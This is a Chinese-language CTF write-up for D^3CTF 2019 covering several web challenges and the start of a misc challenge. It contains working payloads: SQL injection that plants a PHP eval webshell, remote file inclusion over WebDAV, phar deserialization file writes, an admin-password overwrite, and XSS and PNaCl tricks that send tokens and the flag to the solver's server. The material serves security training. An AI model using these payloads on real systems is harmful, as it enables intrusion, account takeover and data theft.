d3ctf

d3ctf

疯狂涨姿势,就很nice

wp

https://github.com/wqmsybpw/wqmsybpw.github.io/blob/1401b571d975fec748a84a47691e468187a80ef8/_posts/2019-11-25-2019d3ctf-writeup.md

https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/

https://www.anquanke.com/post/id/193939#h3-4

web

ezweb

image.png

和username有关?

x 注册一个用户名为:*/echo 1231231231;/*的用户

二次注入,User 的index方法调用get_view

image.png

image.png

利用替换{来绕过select 和 union的过滤,利用0x….来绕过{的过滤

最后的payload

注册一个用户名为aaa' unio{n selec}t 0x7B7B7068707D7D6576616C28245F504F53545B615D293B7B7B2F7068707D7D limit 1,1#成功拿到shell权限

d3ctf{Th4at’s_A_Si11y_P0p_chi4n}

fakeonlinephp

报错

1
2
3
4
5
6

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(http://39.108.164.219:60005/1.txt): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(): Failed opening 'http://39.108.164.219:60005/1.txt' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

虽然禁用了http协议,但是还是会发送请求

unc路径远程文件包含

一键启动一个webdav服务器

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav然后把php文件放到/root/webdav/data里就行了

http://02f4483e31.fakeonelinephp.d3ctf.io/?orange=C:/Users/w1nd/AppData/Local/Temp/fffffffffuckccrf

eval($_COOKIE[‘a’]);

whois

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Domain Name: D3CTF.IO
Registry Domain ID: D503300001132938421-LRMS
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2019-10-14T20:31:26Z
Creation Date: 2019-08-15T11:56:00Z
Registry Expiry Date: 2020-08-15T11:56:00Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: DNS21.HICHINA.COM
Name Server: DNS22.HICHINA.COM
DNSSEC: unsigned

The Registrar of Record identified in this output may have an RDDS service that can be queried
for additional information on how to contact the Registrant, Admin, or Tech contact of the
queried domain name.
1
2
3
4
5
本站数据:香港特别行政区 腾讯云
参考数据1:香港 tencent.com
参考数据2:美国
兼容IPv6地址:::966D:4AEA
映射IPv6地址:::FFFF:966D:4AEA

whoami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
whoami /all

USER INFORMATION
----------------

User Name SID
================ ============================================
172_19_97_4\w1nd S-1-5-21-330377560-317033357-2560255023-1001


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192


upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["HTTP_HOST"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["HTTP_HOST"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

webroot in /var/www/html
Notice:scanner is useless
hint1: webroot changes every 10 mins
hint2: glob
hint3: https://www.php.net/manual/en/language.oop5.decon.php ** Pay attention to the notes in the article **

反序列化

upload处url可控,所以只要上传一个phar文件便可以反序列化

利用这个能做到:

  1. 扫目录__destruct__=>__toString__
  2. 任意位置写文件,但是因为上传phar文件时有过滤,所以文件内容也有所限制

但是

phar://phar.phar.gz/test.txt

将phar文件压缩后便可以绕过文件限制

于是我们就可以在任意位置写文件的权限了

于是我们有这样的思路:利用upload写一个htaccess,然后再利用反序列化写一个shell。

这里有个坑点就是,web主目录每隔10分钟变化一次,但是我们仍然可以利用反序列化来读取web目录

按照上述步骤成功拿到shell

image.png

输入phpinfo()发现,有disable_function里禁用了system等函数,这就不爽了。但是php版本是7.2,上传

https://github.com/mm0r1/exploits 这个老兄写的绕过disable_function的脚本,爽死了。

image.png

showhub

阅读代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function register($username, $password)
{
$password = hash("sha256", $password);
$user = (new User(null, $username, $password))->save();
if ($user) {
$_SESSION['uid'] = $user->id;
return $user;
}
return false;
}

public function save()
{
$args = get_object_vars($this);
$args = array_slice($args, 0, -2);
if ($args['id'] !== null) {
$baseSql = "UPDATE `$this->tbname` SET %s WHERE id=" . $args['id'];
$sql = self::prepareUpdate($baseSql, array_slice($args, 1));
$this->db->query($sql);
if (!$this->db->conn->error) {
return $this;
} else {
return null;
}

} else {

$baseSql = "INSERT INTO `$this->tbname`(%s) VALUE(%s)";
$sql = self::prepareInsert($baseSql, $args);
$this->db->query($sql);
if (!$this->db->conn->error) {
$objectID = $this->db->query("SELECT LAST_INSERT_ID()")->fetch_row()[0];
return self::findOne(array("id" => $objectID));
} else {
return null;
}
}

}

register调用的save方法存在格式化字符串漏洞可以绕过addslashes

构造user=admin%1$',0x60)#&pass=123

image.png

insert 的一个方法可以修改重复的值 insert on duplicate key update ,它能够让我们在新插入的一个数据和原有数据发生重复时,修改原有数据。那么我们通过这个技巧修改管理员的密码即可。

测试test用户,原密码:123

构造user=test%1$',0x60)on duplicate key update password=0x38643936396565663665636164336332396133613632393238306536383663663063336635643561383661666633636131323032306339323361646336633932#&pass=123

成功将密码修改为123456,冲admin密码

接着进入webconsole当中,提示只有内网才能使用

相关代码

1
2
3
4
5
if ($this->request->user->username === "admin" && !filter_var(
$_SERVER['HTTP_CLIENT_IP'],
FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
))

emmm直接修改cilent-ip发现不行

因为这里的Client-IP头是反代层面设置的(set $Client-IP $remote_addr), 所以无法通过前端修改请求头来伪造。

这时可以从服务器返回的Server头中发现,反代是ATS7.1.2 那么应该很敏感的想到通过HTTP走私 来绕过反代,规避反代设置Client-IP

那么什么是ast?

Apache Traffic Server™ is a high-performance web proxy cache that improves network efficiency and performance by caching frequently-accessed information at the edge of the network. This brings content physically closer to end users, while enabling faster delivery and reduced bandwidth use. Traffic Server is designed to improve content delivery for enterprises, Internet service providers (ISPs), backbone providers, and large intranets by maximizing existing and available bandwidth.

emmmm,ast是一个在用户和服务器之间的起缓冲加速的代理服务器,这也正是http走私常出现的应用场景

ATS7.1.2 有个cve恰好是关于http走私的,直接用就ok了

babyxss

emmm,ctf的弥天大谎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from flask import Flask, render_template_string, session, request, make_response
import hashlib
import os
import json
from rq import Queue
from redis import Redis

app = Flask(__name__)
app.config['SECRET_KEY'] = 'somesecret'
config = json.load(open('config.json', 'r'))


def verify_url(url):
base = 'https://'+request.host
if len(url) == 0:
return False
if len(url) < len(base) or url[:len(base)] != base:
return False
return True


def verify_captcha(captcha):
return 'captcha' in session.keys() \
and len(session.get('captcha')) == 5 \
and hashlib.md5(captcha.encode()).hexdigest()[:5] == session.get('captcha')


def add_queue(url):
q = Queue(connection=Redis(
host=config['redis']['host'],
password=config['redis']['auth']
))
q.enqueue('bot.add', url)


@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
message = ""
if request.method == 'POST':
try:
if 'captcha' in request.form.keys() and 'url' in request.form.keys():
captcha = request.form['captcha']
url = request.form['url']
if not verify_captcha(captcha):
message = "Wrong Captcha :("
elif not verify_url(url):
message = "Wrong URL :("
else:
session.pop('captcha')
message = "Done! Please wait for the admin to check it out. XD"
add_queue(url)
except:
message = "Error! Please contact admin"
if 'captcha' not in request.form.keys() or 'captcha' not in session.keys():
session['captcha'] = hashlib.md5(os.urandom(16)).hexdigest()[:5]
return render_template_string(
index,
message=message,
host='https://'+request.host,
captcha=session['captcha']
)


@app.route('/fd.php')
def mirror():
response = make_response(request.args.get('q'))
response.headers['Content-Security-Policy'] = "img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'"
return response


@app.route('/admin.php')
def admin():
if request.headers.get('x-forwarded-for') != config['redis']['host']:
return 'only admin can see it'
token = request.host.split('.')[0]
return f'''{{
"token": "{token}",
"flag": "d3ctf{{{hashlib.sha256((
token+config["challenge"]["flag"]
).encode()).hexdigest()}}}"
}}
'''

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if request.method == 'POST':
try:
if 'captcha' in request.form.keys() and 'url' in request.form.keys():
captcha = request.form['captcha']
url = request.form['url']
if not verify_captcha(captcha):
message = "Wrong Captcha :("
elif not verify_url(url):
message = "Wrong URL :("
else:
session.pop('captcha')
message = "Done! Please wait for the admin to check it out. XD"
add_queue(url)
except:
message = "Error! Please contact admin"
1
2
3
4
5
6
7
8
9

def verify_url(url):
base = 'https://'+request.host
if len(url) == 0:
return False
if len(url) < len(base) or url[:len(base)] != base:
return False
return True

通过verify_url之后,admin便回访问.这里用'https://'+request.host来验证是否来源于原网站

emmm,request.host=/fd.php,就不用考虑修改host来绕过拉

那么就是要绕/fd.php的csp策略了:img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'

真的是baby难度啊。。。。。

丢到csp-evaluator里头可以发现没有设置object-src
object-src允许嵌入object
根据hint去chrome://components里头找有什么可以利用的组件
最新版chrome已经默认禁止了flash的使用(然而就是有很多人不信邪)
通过一些搜索可以发现pNaCl可以跑C/C++

可以编写一个Leak去请求admin.php,获取flag,然后再将flag带出来
下载下来谷歌的SDK和Leak后可以编译出一个nmf文件和一个pexe文件,放到自己的服务器上然后尝试:

1
><embed src="http://server_url/url_loader.nmf" type="application/x-pnacl">

轻松获得了一个Mixed Content呢((毒瘤出题人
上https以后发现:

1
>PNaCl modules can only be used on the open web (non-app/extension) when the PNaCl Origin Trial is enabled

搜索Origin Trial,看新闻:

https://developer.chrome.com/native-client/migration
https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/developer-guide.md

Origin Trial申请一个token,最终的payload:

1
2
><meta http-equiv="origin-trial" content="[token]">
><embed src="https://server_url/url_loader.nmf" type="application/x-pnacl">

guestbook

自己搭的环境毛病一大堆///就直接看别人wp了

题目是一个在线留言板,注册登录后可以提交留言。

简单测试后会发现留言可以插入 HTML 标签,但是后端使用了标签名/属性名白名单做过滤,一般的危险标签和属性都被 ban 掉了。

控制台可以看到打包前的前端源码,审计一波。

第一个问题,CSRF token 是直接使用的 sessionid :

img

因此如果我们能获得他人的 token 就可以登录他人账号。

第二个问题,我们传入的参数 this.$route.query.did 被拼接到了 jsonp 方法的 url 当中

img

因此我们可以设置 did 为 1/delete?callback=alert# ,控制 jsonp 的 callback ,在 jsonp 方法中会直接执行:

img

但是后端的 jsonp api 给 callback 做了校验,只能传入有限的字符,并不能任意执行 js 代码。

img

所以我们需要把这两个问题结合利用一下,利用这个受限的 jsonp xss 来劫持 token 。

img

我们可以看到 token 被渲染到了 id 为 messageForm 的 form 中,所以我们可以尝试劫持这个 form ,让他的 submit 后提交到我们的服务器,从而获取 token 。

如何劫持呢?利用两个 HTML5 的有趣属性:

https://www.w3school.com.cn/tags/att_input_formaction.asp

https://www.w3school.com.cn/tags/att_input_form.asp

我们可以利用留言功能插入一个在表单之外的 input 标签,再利用这两个属性来劫持表单:

img

利用 jsonp xss 来点击它:

1
http://localhost:8180/#/?pid=72&did=23%2Fdelete%3Fcallback%3Dfish.click%23

token 就到手了:

img

report 这条 payload ,获得 admin 的 token 之后登录 admin 账号,在 admin 的留言中获得 flag 。

misc

c+c

readme.txt

This is a lite (which means there is no voice but the script is complete.) version of a great galgame (a.k.a. Visual Novel) written by Romeo Tanaka. Hope you enjoy it.
PS: I did some small hack to the game for cracking. But you still need steam running to play this game.
PSS: If you like it, you can buy it on steam.
PSSS: Do not forget to find the flag. And the flag is just in THIS file.

image.png

游戏中会出现

image.png

一些不可见字符8个以上,可能是flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function L0_0()
local L0_32, L1_33, L2_34, L3_35
L0_32 = {
L1_33,
L2_34,
L3_35,
172,
21,
149,
198,
139,
38,
63,
174,
238,
232,
20,
85,
107
}
L1_33 = 221
L2_34 = 179
L3_35 = 102
L1_33 = 166
L2_34 = 44
L3_35 = "{"
for _FORV_7_ = 1, #L0_32 do
L3_35 = L3_35 .. string.format("%02x", L0_32[_FORV_7_] ~ L1_33)
if _FORV_7_ == 4 or _FORV_7_ == 6 or _FORV_7_ == 8 or _FORV_7_ == 10 then
L3_35 = L3_35 .. "-"
end
end
L3_35 = L3_35 .. "}"
return "", "", string.upper(L3_35), L2_34

end

su直接去买了原版游戏,对比发现只有dll,exe文件不同

image.png

阵亡